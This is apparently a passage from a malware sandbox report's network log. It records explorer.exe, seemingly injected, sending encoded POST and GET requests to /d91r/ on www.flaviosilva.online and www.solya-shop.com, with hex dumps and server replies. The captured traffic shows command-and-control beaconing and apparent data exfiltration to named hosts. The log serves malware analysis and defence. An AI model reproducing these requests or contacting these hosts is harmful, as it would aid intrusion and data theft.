6a 74 77 6f 49 64 52 45 35 61 79 51 76 66 6d 68 34 6d 5f 57 4a 66 6b 6b 7a 73 55 61 31 41 75 62 32 66 6d 58 75 32 59 47 72 7a 6b 64 49 55 38 45 70 4c 44 69 66 52 6e 52 4c 69 5a 7a 4c 4f 4c 33 50 55 7a 66 42 67 71 68 4d 56 72 74 54 74 6f 66 50 63 6b 33 79 6c 6f 46 43 34 5f 79 2d 56 4e 53 59 57 32 7e 34 4b 5f 54 62 5a 54 46 51 79 34 37 51 79 6d 71 44 37 54 51 52 6e 35 47 68 6b 79 28 6e 35 57 64 57 46 5a 33 38 63 76 58 6d 56 57 75 77 65 4e 77 67 65 74 76 41 79 53 31 76 4b 4e 39 36 58 70 49 64 79 5a 61 33 74 73 6f 65 51 76 57 41 43 6a 78 6f 59 4e 62 33 6d 51 53 77 51 2d 30 77 4a 45 72 75 46 66 4a 47 4f 61 48 2d 30 71 61 53 54 50 75 46 56 45 57 38 7e 6f 31 73 4c 4c 52 55 42 71 6f 50 67 37 28 4f 49 7a 30 68 41 72 6b 46 74 74 50 74 46 69 49 52 63 6f 37 42 34 47 76 46 73 46 71 38 74 61 6c 52 69 71 69 48 48 41 37 35 76 50 61 2d 79 43 52 61 28 4c 56 47 51 6e 33 30 50 77 54 71 50 5f 33 45 69 68 63 4a 78 64 74 4a 32 42 41 6e 41 6b 28 5f 70 61 33 79 65 51 62 58 6f 46 4a 48 55 6d 34 55 4b 68 50 6b 6b 5f 74 4c 41 69 53 52 45 65 44 33 6c 5f 72 4c 7e 45 4c 6f 4c 66 6f 4c 5a 34 69 4f 75 62 5a 64 7e 59 73 7a 78 61 57 46 77 55 37 41 38 52 7e 68 74 50 34 69 6c 64 46 65 53 53 49 52 6f 58 63 51 6e 6f 4e 30 45 63 79 34 28 46 51 64 28 32 31 32 4d 45 70 32 45 48 73 44 7a 58 32 4d 5a 4a 61 4c 77 43 43 54 37 4a 6f 70 61 65 6e 48 48 62 47 6e 66 77 32 43 68 33 38 46 75 2d 59 42 52 75 53 70 5a 2d 6e 58 58 53 30 73 28 78 72 34 69 2d 46 33 4d 4c 77 73 39 45 34 50 6b 53 7e 79 65 4e 4d 6e 76 74 56 6c 6b 5a 35 2d 44 41 74 61 59 45 4e 41 59 66 4e 32 58 4f 6e 43 6a 45 4b 65 51 56 7e 36 75 58 7e 42 63 4a 4c 71 63 59 66 38 43 61 42 30 6a 6a 47 6a 68 62 6c 79 63 5f 5a 6e 4f 49 4c 71 28 41 6f 66 6a 58 6e 39 36 59 30 45 56 65 30 4c 6e 79 37 34 6e 37 77 77 6f 70 5a 37 56 61 6c 36 74 30 43 44 70 44 6e 31 79 34 75 49 4b 46 28 68 38 6c 64 7a 67 49 36 56 4f 54 33 71 59 4f 78 44 7a 78 4b 77 58 4b 75 46 48 38 6f 4f 39 66 6f 35 49 30 4c 32 4d 78 76 48 37 6c 71 63 49 36 28 6d 4d 74 69 4b 55 54 55 6c 45 4f 78 52 4a 63 42 75 4d 37 5a 70 6c 48 67 49 47 53 70 42 59 35 7e 45 4a 61 77 51 39 35 6c 67 44 74 63 50 67 32 31 32 48 5f 42 6b 78 6a 5a 41 4b 65 35 78 64 6c 46 4f 44 48 70 44 6e 36 39 53 41 6d 55 69 4f 39 56 72 31 4f 79 66 51 37 4c 77 6f 46 6b 4a 7e 41 6f 67 74 54 53 71 4e 38 6b 2d 38 57 30 6d 6f 42 4c 78 5a 53 4c 55 28 58 51 30 58 69 61 65 42 54 42 6b 4e 53 30 62 4f 4a 42 30 32 71 61 36 36 5a 4a 69 7a 51 6c 6e 32 65 6b 67 48 35 6b 61 66 33 7a 32 4a 5f 48 59 5a 4b 52 6a 7a 7a 74 76 56 72 32 72 67 4a 58 55 39 4b 43 55 68 4f 59 6d 56 54 5a 44 42 69 61 30 5a 34 72 42 71 47 58 34 6b 75 34 59 4b 31 73 46 49 2d 77 71 71 6d 56 5a 37 42 53 37 6f 39 65 77 73 41 56 4d 4b 78 4c 74 65 30 58 38 54 63 78 7a 4d 37 48 57 43 52 70 44 7a 55 28 58 58 53 45 4f 64 64 71 4d 69 6c 30 79 38 43 73 38 53 67 6a 73 55 59 47 66 6f 2d 30 6f 48 62 69 42 45 6a 30 76 72 4f 67 68 4e 6f 64 44 68 70 65 2d 68 6f 63 44 43 64 41 6c 78 75 72 33 4f 35 70 52 62 37 57 4c 4a 55 76 54 4e 49 4c 35 49 30 57 64 30 38 64 76 39 54 58 35 39 74 55 62 79 7a 33 53 46 53 6a 64 4d 7a 38 58 6c 70 6b 4f 69 4e 41 66 31 66 4c 57 4d 6a 33 67 28 32 6d 64 73 70 7e 46 44 53 76 6c 75 5a 36 65 6f 47 6a 78 63 50 49 32 45 6d 7a 6e 35 6a 54 48 35 57 67 48 32 51 41 38 75 4d 35 41 6b 47 4b 37 28 70 67 58 53 58 70 4c 65 6f 6b 51 73 65 35 55 62 69 72 2d 70 45 53 6a 69 61 7e 4d 42 37 78 42 71 79 7a 49 30 53 31 66 4c 31 42 50 56 38 6c 4e 49 73 51 35 52 73 48 66 52 6a 55 56 4a 77 45 56 76 6e 73 30 65 6a 6c 6e 68 38 57 35 32 59 30 53 54 65 49 5a 51 38 49 38 4f 78 4f 65 6e 66 75 4a 7a 61 7a 6e 52 51 4e 43 73 68 79 63 34 6d 63 4f 53 44 43 52 6d 59 46 62 70 38 6c 74 34 43 7a 55 38 4f 43 75 78 66 6e 38 50 69 73 42 46 67 32 32 6c 46 67 34 64 49 41 4b 42 4c 7a 63 Data Ascii: pO=2N9ctdgFn19UoUvsVMzX5cUovBHkaE0OQvcAAO4wHYuSSV35AbywnlDJ8Rd1dKSjV9MJjlUZE-1XHZManIzH9v040zqQHU1PQ-~8HkOxzo0KyvgZ0KiC(-UL2OBmNwdjtwoIdRE5ayQvfmh4m_WJfkkzsUa1Aub2fmXu2YGrzkdIU8EpLDifRnRLiZzLOL3PUzfBgqhMVrtTtofPck3yloFC4_y-VNSYW2~4K_TbZTFQy47QymqD7TQRn5Ghky(n5WdWFZ38cvXmVWuweNwgetvAyS1vKN96XpIdyZa3tsoeQvWACjxoYNb3mQSwQ-0wJEruFfJGOaH-0qaSTPuFVEW8~o1sLLRUBqoPg7(OIz0hArkFttPtFiIRco7B4GvFsFq8talRiqiHHA75vPa-yCRa(LVGQn30PwTqP_3EihcJxdtJ2BAnAk(_pa3yeQbXoFJHUm4UKhPkk_tLAiSREeD3l_rL~ELoLfoLZ4iOubZd~YszxaWFwU7A8R~htP4ildFeSSIRoXcQnoN0Ecy4(FQd(212MEp2EHsDzX2MZJaLwCCT7JopaenHHbGnfw2Ch38Fu-YBRuSpZ-nXXS0s(xr4i-F3MLws9E4PkS~yeNMnvtVlkZ5-DAtaYENAYfN2XOnCjEKeQV~6uX~BcJLqcYf8CaB0jjGjhblyc_ZnOILq(AofjXn96Y0EVe0Lny74n7wwopZ7Val6t0CDpDn1y4uIKF(h8ldzgI6VOT3qYOxDzxKwXKuFH8oO9fo5I0L2MxvH7lqcI6(mMtiKUTUlEOxRJcBuM7ZplHgIGSpBY5~EJawQ95lgDtcPg212H_BkxjZAKe5xdlFODHpDn69SAmUiO9Vr1OyfQ7LwoFkJ~AogtTSqN8k-8W0moBLxZSLU(XQ0XiaeBTBkNS0bOJB02qa66ZJizQln2ekgH5kaf3z2J_HYZKRjzztvVr2rgJXU9KCUhOYmVTZDBia0Z4rBqGX4ku4YK1sFI-wqqmVZ7BS7o9ewsAVMKxLte0X8TcxzM7HWCRpDzU(XXSEOddqMil0y8Cs8SgjsUYGfo-0oHbiBEj0vrOghNodDhpe-hocDCdAlxur3O5pRb7WLJUvTNIL5I0Wd08dv9TX59tUbyz3SFSjdMz8XlpkOiNAf1fLWMj3g(2mdsp~FDSvluZ6eoGjxcPI2Emzn5jTH5WgH2QA8uM5AkGK7(pgXSXpLeokQse5Ubir-pESjia~MB7xBqyzI0S1fL1BPV8lNIsQ5RsHfRjUVJwEVvns0ejlnh8W52Y0STeIZQ8I8OxOenfuJzaznRQNCshyc4mcOSDCRmYFbp8lt4CzU8OCuxfn8PisBFg22lFg4dIAKBLzcy1zeTmIfyQ981dtAoz9rQv11VDQmp3eB0JMxILTkY8thIP(AlMZWHAMHLKgp~6YlBFT-aSZGSt10lDINrROjDFq3qDSpch~jm_VDqLohieioJ099zMBbxyc1~oH8WffEQuMhZnU-GOdiHJOaQanOq73TENZUMPdH7wp5B6LA~B1tcWdvQDw1Fk~fyfpLmwUZTUqmL4F5tcAVu4u-o6VWublM6MPLeb7deVnVXYb5~2Eb0QQH54SV7YGcKL5LOzcn4UfT5wiHXPyr~6nVYeQURNQbmrog(23TuyC_wSkLDKRmKuqQlvnrxrrFAYd-ROis2Q~ALk7tGyWExkgtv6T-UiHkEPZStdQL6cUUGLMH4OGpNY85d9Dzd1hLLcZkCIDXR3QUZ6ZQurp45fWkxLn5J3hMbyq8D9NCMxhYBKKgQFJY7rwQWpeZR_(ofEFJZeYi5IdSxQegp83RSoHZqjfh14PYpDKmM8i4iVYiZECnKTnxVvYMAWNGNFiUWwVxkWlUOdtKglNpGX(VkveYtJdyiQommbuYWhX8(NwMwOEj2xoHdxkbzsRpAfo4TUQFk1Il9mjjRKRR2-DI3OKDxmUyAECnpO~jHUJtdL4hTlM7TY52QAKcSXO78hH2AMDYMLG5vVhEHIrzRpi_NsmREF61iinejtdOSt7atogbep8CT56m8gqqaQYq9qwMD6HVyblYM7u8M80EFkmhIVadjNNVPB3NAPFO90tNAtvcGUidyHG3Hx0ABDsy1kUjQKEM~gHqH0zRvA7XTQI8Kij8iLxqDF5GxdWj(o9g18iYo5861
Mar 20, 2023 15:25:11.847287893 CET	1644	OUT	Data Raw: 39 58 47 70 54 78 37 67 65 73 68 38 6e 76 4e 54 77 7e 34 33 6f 45 70 79 72 4e 31 65 46 7a 6e 6a 6e 45 2d 4a 4d 4b 49 47 37 7e 59 7a 39 76 39 36 33 71 32 72 51 54 4a 6f 47 6e 6e 35 64 45 41 53 72 30 5f 31 39 7a 65 30 36 66 36 53 50 67 73 43 73 54 Data Ascii: 9XGpTx7gesh8nvNTw~43oEpyrN1eFznjnE-JMKIG7~Yz9v963q2rQTJoGnn5dEASr0_19ze06f6SPgsCsTgXVq9OvbSTXeMZJ2lJFfXqlLiRRYHs6giiqbnsLz-1PmEMnrwnP7sRJyxahflwoH_QSq4NjYQuD8XN8ku~eQZQ61m6nZRnwEh19eZT5w95M~cgPz67H1tRn5FbBX77952YJb9qRsOU_HeLz~QN7nCIzhaECIih070
Mar 20, 2023 15:25:11.847307920 CET	1647	OUT	Data Raw: 77 34 59 49 77 31 65 6f 6e 68 47 42 58 43 38 69 55 79 4d 36 41 50 6e 46 77 32 5f 39 67 31 34 30 33 39 4b 78 5f 48 61 45 78 38 6f 56 4a 4f 7a 75 33 54 6e 34 4d 74 37 66 55 65 68 4e 79 4b 49 63 50 78 49 50 6b 32 72 45 67 71 73 75 33 76 66 32 77 47 Data Ascii: w4YIw1eonhGBXC8iUyM6APnFw2_9g14039Kx_HaEx8oVJOzu3Tn4Mt7fUehNyKIcPxIPk2rEgqsu3vf2wGXMj8dVlHphe(ijdsVIWT3YuHKI6GDsxj97-K5vt17pM4adQ7U38hFY0T7(4GBpUzFk5WeLrJ80zF9hMDYdP6Ih0ODZPq8TiE1oTi0avZ22QKOc1gZVvWNSZFnmV4HEhe7USB6LupAUAVeBt6KoW6owsaNcqtvPAVD
Mar 20, 2023 15:25:11.861527920 CET	1650	OUT	Data Raw: 6b 68 6d 78 5a 4c 39 79 62 52 4c 47 6f 35 58 42 6a 6a 72 69 41 51 78 53 41 63 47 65 52 33 37 61 72 50 75 33 6c 31 68 43 4e 6a 35 46 67 51 5f 70 4c 37 7a 41 46 34 2d 6b 41 35 47 73 6c 64 6f 56 58 65 46 4a 49 69 6e 4d 79 77 73 44 70 42 44 31 63 4c Data Ascii: khmxZL9ybRLGo5XBjjriAQxSAcGeR37arPu3l1hCNj5FgQ_pL7zAF4-kA5GsldoVXeFJIinMywsDpBD1cLJfvtxLxaz7nDXP6q9Xow7I0BETHuPb2DJGDnMa2WVlkACgRzOuEg2A76_Le0ZIz5j9PC7pFUAYjSwLygy40Nw63WEdBs2ttf8003-U4aLVcWUlvVGkbeu0Njb7TXJgq8ml0LiG1Q0ixYJbkVbWkqgSGLgPpnzCVr5
Mar 20, 2023 15:25:11.861581087 CET	1655	OUT	Data Raw: 4d 53 75 46 59 33 49 61 65 66 30 75 4d 71 66 35 2d 71 50 7e 4c 6d 51 72 48 42 67 77 35 42 34 57 51 69 4e 6d 65 51 39 4f 51 53 56 67 47 4d 31 79 65 4f 6a 57 34 43 30 75 44 76 7a 6b 51 4f 7a 4f 7a 38 55 6b 47 61 2d 42 50 54 78 4f 4b 31 4d 54 2d 79 Data Ascii: MSuFY3Iaef0uMqf5-qP~LmQrHBgw5B4WQiNmeQ9OQSVgGM1yeOjW4C0uDvzkQOzOz8UkGa-BPTxOK1MT-y9vVzpyFdcFxgOcb7EUuEyyVX1phvVwdSbWF8R6skZNY8117rRMeXfIxnAKxdTPodrIBXKDOkgxbDEajAdhLYwzkomJgUKz9Op6os_aOF5rRcaXt5a4ZR4bFpbLS8Txl9I3EG6O6WZqRQPyxT_vrysXSlJHJgFe26x
Mar 20, 2023 15:25:11.861659050 CET	1656	OUT	Data Raw: 53 49 73 74 69 6d 5a 6c 72 75 4d 59 31 39 70 41 38 52 6d 73 63 62 48 48 62 32 44 30 66 78 34 41 43 48 46 34 63 66 72 38 53 77 46 42 64 33 36 74 4f 66 48 5a 36 43 63 41 65 30 65 44 4a 36 71 77 4a 4f 67 4a 67 4d 5a 28 45 37 45 6f 6c 6b 4e 44 34 52 Data Ascii: SIstimZlruMY19pA8RmscbHHb2D0fx4ACHF4cfr8SwFBd36tOfHZ6CcAe0eDJ6qwJOgJgMZ(E7EolkND4RMVZclJTuY9vnagZTSL-5pN8M2xOsSmBgFEWv0UEIJ8r7ysvuPfHEP0RdFLVsKlyy9pMdyzyB830fBRyKEKF3HlGR7yW~H4ygCAkzUwuTBo-(JU565pI~VavBnq8xbWiU_eElLjyU_jCBjCi5GtRsIHM3Xl7Cy2w2V
Mar 20, 2023 15:25:11.861834049 CET	1670	OUT	Data Raw: 4b 57 5a 41 76 75 6f 57 55 44 52 4d 55 39 34 53 73 49 52 70 51 51 4d 46 58 72 35 79 33 4c 37 66 6a 43 6c 53 77 61 75 55 2d 56 77 4e 51 41 6a 33 74 48 4e 76 6d 4a 30 69 5a 50 72 68 4c 6a 38 70 4d 42 77 51 78 76 72 48 6b 54 44 74 4a 65 35 44 5f 74 Data Ascii: KWZAvuoWUDRMU94SsIRpQQMFXr5y3L7fjClSwauU-VwNQAj3tHNvmJ0iZPrhLj8pMBwQxvrHkTDtJe5D_t8pcPRQ4TLbscCbrkh~bv4Chff(UL1Gfw94FldOESoApdE1Nz5Tb81l7XN2Mmg(WcdRJlGEmCPZdANgwvH0LdJbTCnpmkzQXhCje8yJC03zrobLOSS8xOABRnUIoVdwyMwAovnB-KrJORN436oadu1b57DbtU9BNWy
Mar 20, 2023 15:25:11.861959934 CET	1673	OUT	Data Raw: 4f 72 64 50 48 4b 68 74 2d 74 77 61 57 67 49 52 75 47 32 4e 54 35 31 71 6f 6d 2d 39 58 62 51 70 69 52 69 42 7a 4b 73 32 36 42 69 55 30 4e 68 72 7a 62 74 50 66 43 47 57 42 74 68 76 50 58 55 43 2d 64 41 49 4f 51 53 30 55 72 77 4c 6c 43 6a 7a 42 47 Data Ascii: OrdPHKht-twaWgIRuG2NT51qom-9XbQpiRiBzKs26BiU0NhrzbtPfCGWBthvPXUC-dAIOQS0UrwLlCjzBGWzt66tIJ6(gD9pJPXpbYwL2XCOjOpiwdCDCqs~mJcV9UUPKWJ66~AAKzliP2iMFlAg8wvVsBZbhVTJD~-hyBM~WTEizm_7xY0XDXGc1DAIKGjEHnpICb6rA0-gX6qpWM8e9BVAJPFYiSAoTXbapmAWcSxiHP0M69B
Mar 20, 2023 15:25:11.875922918 CET	1678	OUT	Data Raw: 39 43 6b 6b 57 4b 64 63 51 56 53 62 59 30 6c 53 75 28 42 63 78 6c 4f 67 6f 4d 2d 62 68 6e 6a 6a 5a 33 39 78 5f 31 4b 47 6b 50 74 76 61 46 6e 74 53 79 4d 7a 47 38 2d 67 4a 70 4a 6e 47 76 63 6d 72 38 61 79 7a 6d 62 6d 39 56 41 6e 4d 71 4f 7a 6f 75 Data Ascii: 9CkkWKdcQVSbY0lSu(BcxlOgoM-bhnjjZ39x_1KGkPtvaFntSyMzG8-gJpJnGvcmr8ayzmbm9VAnMqOzoudJ0PE69wmiK4vwZyDaUecuOOBRZwMwmvYD5UVbedd6wSNWJK8jf7yvssLgBWTpSAEtjzXbqLzBn~-8t~qtdDG8ad-p6RJ0am9DAfa3DS7cJ2Ca6ZPxEFS28t2IPg2vjeDaPRQiY6oamYd90Kxnmu1AisuyP6gNp7k
Mar 20, 2023 15:25:11.875983000 CET	1683	OUT	Data Raw: 4a 54 76 58 47 62 5f 41 62 6b 55 54 2d 47 4d 4a 34 7e 58 6b 78 63 36 51 39 77 49 7a 69 49 79 5a 2d 39 7a 53 6e 73 52 79 56 78 56 48 6b 66 72 32 4a 6c 5f 44 31 6f 66 44 62 6c 5a 79 35 63 50 66 4c 41 79 38 31 5a 6c 48 66 45 4e 42 38 41 51 65 69 7e Data Ascii: JTvXGb_AbkUT-GMJ4~Xkxc6Q9wIziIyZ-9zSnsRyVxVHkfr2Jl_D1ofDblZy5cPfLAy81ZlHfENB8AQei~fWgfyADTBcqSvwdHVH2aUt0(sc6x5LWxtBOn0qxMpDUzo~Tu9PzU1T-1avUMHkCmmDHuirKjvbHHcKCyPXaCmwXWyDJExJVuTD4VUw2DtKKpTJSmedpVr5McJsE4-cmSAFkYYPze0TCRH3RESeeouoYNfSW4sdpU-
Mar 20, 2023 15:25:11.876466990 CET	1686	OUT	Data Raw: 34 34 4a 48 35 61 45 6d 56 6c 6a 53 56 65 47 33 68 4b 53 42 64 62 6e 71 4d 74 37 6f 63 45 33 28 6f 36 4a 58 4c 59 33 67 4a 73 30 28 69 49 31 75 32 51 65 32 32 64 4f 47 79 43 2d 43 5f 31 49 28 38 34 35 37 46 50 55 30 45 68 42 4f 4e 34 6d 30 57 41 Data Ascii: 44JH5aEmVljSVeG3hKSBdbnqMt7ocE3(o6JXLY3gJs0(iI1u2Qe22dOGyC-C_1I(8457FPU0EhBON4m0WA4ZD3AWqVXECxzzLyhJfLuROaypUnBGQnZDpe5zHHomOq9zmAFdLlRUuBku350S86PluvZZIR1pmspRZdP(rF-1WFOxjB9nlnPJbl4JyhzrQClKI99sJ2BbpBwr6UGbb9inL7YCooMkEySaVpw(mq6OAShjjp4LVEX
Mar 20, 2023 15:25:11.892467022 CET	1688	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:25:11 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49849	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:51.036569118 CET	580	OUT	POST /d91r/ HTTP/1.1 Host: www.flaviosilva.online Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.flaviosilva.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.flaviosilva.online/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 30 73 73 72 59 30 49 6e 36 47 34 44 76 77 54 55 59 6f 69 42 7a 72 72 51 30 6d 61 70 71 62 69 6f 4e 76 64 49 50 53 6b 36 42 53 6d 74 31 6d 43 51 76 78 69 37 7a 30 32 62 4e 6d 36 42 52 6f 52 69 70 79 41 45 41 6b 6d 70 77 5a 70 6f 37 30 4f 64 4d 4d 59 30 67 68 38 6a 4d 6f 42 68 63 6c 30 5f 71 41 72 33 75 61 62 49 4e 77 6b 30 48 48 4b 55 69 53 4f 74 4f 42 7a 6a 63 72 4d 6f 7e 65 59 46 76 62 66 75 38 6f 7e 77 30 6a 4b 4e 45 53 56 77 61 4c 51 4a 36 73 38 47 6c 33 6e 56 76 4b 46 6f 33 32 75 37 39 30 56 2d 46 52 54 4d 76 72 49 36 62 58 63 6e 63 6e 6b 51 32 70 66 45 6e 42 66 75 51 74 50 63 28 61 44 57 35 34 5a 50 6a 39 34 37 62 71 45 6b 4d 71 35 42 7a 51 78 34 39 61 42 62 65 37 31 35 7e 43 56 39 43 4f 36 75 69 79 77 39 6a 70 54 58 7a 4c 6a 30 47 31 61 4a 52 35 28 59 79 37 64 42 64 30 4f 4c 71 31 32 4b 7e 65 7a 63 66 38 69 65 74 43 76 35 28 78 42 69 63 34 65 45 35 6b 47 31 48 63 39 72 58 65 38 73 30 62 4b 73 49 6a 4c 54 6e 62 63 55 54 4c 31 6a 76 34 67 67 5a 61 55 41 39 77 32 51 31 31 4c 41 77 59 48 61 4c 51 71 58 59 6a 72 30 4a 33 36 48 5a 67 4a 33 74 6a 4e 35 36 32 4c 36 38 56 36 31 28 6d 4c 56 52 79 45 43 42 56 59 39 73 41 4f 4d 35 57 69 56 31 69 62 50 38 41 79 53 6a 76 6e 74 4a 4b 53 51 4d 78 50 37 4f 4f 55 4a 59 69 28 71 51 51 66 56 76 35 32 69 43 66 68 51 4d 35 33 47 67 61 61 31 46 65 31 54 34 76 31 43 67 71 31 55 31 56 5a 32 77 43 75 4b 44 41 71 64 59 69 69 76 6c 48 6b 63 65 61 54 46 52 51 6e 53 39 52 31 67 53 42 73 32 53 6b 31 53 6c 75 30 57 59 51 6e 57 77 4e 71 65 7e 74 4d 41 73 38 54 63 57 45 33 5f 32 61 32 34 66 6a 4c 48 4c 58 30 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=0ssrY0In6G4DvwTUYoiBzrrQ0mapqbioNvdIPSk6BSmt1mCQvxi7z02bNm6BRoRipyAEAkmpwZpo70OdMMY0gh8jMoBhcl0_qAr3uabINwk0HHKUiSOtOBzjcrMo~eYFvbfu8o~w0jKNESVwaLQJ6s8Gl3nVvKFo32u790V-FRTMvrI6bXcncnkQ2pfEnBfuQtPc(aDW54ZPj947bqEkMq5BzQx49aBbe715~CV9CO6uiyw9jpTXzLj0G1aJR5(Yy7dBd0OLq12K~ezcf8ietCv5(xBic4eE5kG1Hc9rXe8s0bKsIjLTnbcUTL1jv4ggZaUA9w2Q11LAwYHaLQqXYjr0J36HZgJ3tjN562L68V61(mLVRyECBVY9sAOM5WiV1ibP8AySjvntJKSQMxP7OOUJYi(qQQfVv52iCfhQM53Ggaa1Fe1T4v1Cgq1U1VZ2wCuKDAqdYiivlHkceaTFRQnS9R1gSBs2Sk1Slu0WYQnWwNqe~tMAs8TcWE3_2a24fjLHLX0.
Mar 20, 2023 15:19:51.065294027 CET	581	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:19:51 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.11.20	49928	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:25:14.393106937 CET	1688	OUT	GET /d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.solya-shop.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:25:14.409591913 CET	1689	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:25:14 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49851	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:54.271465063 CET	600	OUT	POST /d91r/ HTTP/1.1 Host: www.flaviosilva.online Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.flaviosilva.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.flaviosilva.online/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 30 73 73 72 59 30 49 6e 36 47 34 44 76 77 54 55 59 6f 69 42 7a 72 72 51 30 6d 61 70 71 62 69 6f 4e 76 64 49 50 53 6b 36 42 53 75 74 79 58 69 51 76 51 69 37 79 30 32 62 54 57 36 41 52 6f 51 34 70 79 59 62 41 68 28 63 77 62 52 6f 34 6e 47 64 4d 2d 77 30 6e 68 38 69 53 59 42 6a 4c 31 30 56 71 41 6e 72 75 61 28 59 4e 68 51 30 47 46 43 55 6e 6a 4f 73 41 78 7a 70 63 72 4d 73 74 4f 5a 77 76 62 72 2d 38 6f 36 77 30 68 7e 4e 46 67 74 77 57 34 34 4a 33 63 38 4a 71 58 6e 4b 32 36 46 72 33 79 50 43 39 30 55 63 46 51 48 4d 76 73 38 36 4a 42 55 67 66 48 6b 51 71 35 66 48 6a 42 62 69 51 70 58 2d 28 61 33 57 35 37 70 50 6c 64 34 37 4b 5f 6f 6c 4b 4b 35 48 6c 67 77 36 71 4b 4e 54 65 37 51 49 7e 41 5a 39 42 2d 7e 75 6a 44 77 39 69 49 54 58 37 4c 6a 32 62 46 62 58 47 70 28 36 79 37 4e 6e 64 30 76 32 71 33 36 4b 28 5f 54 63 50 6f 57 64 74 69 75 54 68 42 42 4e 58 5a 69 59 35 6c 32 58 48 63 38 32 58 61 45 73 30 76 4f 73 50 67 54 51 6d 72 63 66 61 72 31 32 6d 59 73 2d 5a 61 34 49 39 30 36 36 31 79 37 41 7a 34 48 61 4f 7a 79 55 57 54 72 33 46 58 37 59 45 51 4a 67 74 6a 42 4c 36 33 28 4d 38 6d 4f 31 38 79 6e 56 62 43 45 42 4b 6c 59 78 35 77 4f 4b 39 57 69 56 31 6a 6d 34 38 41 7e 53 6a 37 50 74 54 5a 61 51 48 47 7a 37 4d 4f 55 50 59 69 28 5f 51 51 43 31 76 36 58 42 43 66 52 32 4d 37 37 47 67 4c 4b 31 4c 38 52 51 38 66 31 44 72 4b 30 4d 37 31 46 66 77 43 61 43 44 41 62 6d 59 77 6d 76 6b 48 30 63 55 36 54 47 54 77 6d 61 31 78 31 32 57 42 6f 71 53 6b 70 6f 6c 76 41 47 59 54 58 57 68 62 44 62 6d 73 34 30 39 73 4c 75 61 6b 79 71 78 73 32 56 4b 44 75 44 65 79 34 75 55 69 61 70 44 72 6d 50 76 38 39 75 39 45 31 69 42 4a 64 49 37 41 73 6c 76 53 50 57 38 47 79 68 70 61 31 51 63 4e 44 74 79 4c 47 62 7e 33 42 77 56 69 6b 62 76 5f 75 36 6b 6e 34 68 32 6f 69 33 63 58 33 41 31 43 46 64 53 44 31 48 53 67 44 55 7e 34 44 4a 63 4f 61 55 63 6c 59 75 49 6c 7e 70 6e 76 28 4c 68 47 43 35 33 6e 4f 78 33 48 30 79 39 5f 68 42 79 75 69 51 34 75 64 79 57 55 4c 35 37 57 59 74 6e 49 7e 71 73 6d 72 7a 6f 44 64 6e 5a 47 4b 5f 4e 4b 4c 6d 5a 74 44 45 6c 47 71 51 35 6a 77 37 63 67 6f 75 68 4f 48 63 51 2d 39 4a 59 74 66 42 76 34 45 38 76 32 5a 5a 6e 6f 6d 32 51 34 37 43 66 4e 77 51 58 52 4f 43 30 64 4f 4f 4e 7a 7e 39 5a 7a 4a 43 38 6f 63 30 7e 69 73 4d 6e 48 7e 2d 6c 73 49 30 56 32 77 4d 72 58 4f 58 33 72 4e 78 4d 48 7a 75 51 73 37 63 43 34 36 63 55 43 63 49 76 41 63 43 53 69 35 52 5a 41 62 33 42 79 67 72 4a 72 6a 62 56 34 73 32 46 45 58 32 68 79 46 48 5a 47 5a 48 65 49 6c 78 59 77 67 35 67 49 6f 6a 49 58 58 48 44 54 7e 7a 76 43 6f 4f 38 4b 72 6b 4c 62 72 5a 7a 56 31 77 6e 41 43 69 4b 4d 64 50 4e 5f 58 51 62 73 72 35 64 46 79 55 33 65 38 4c 65 71 53 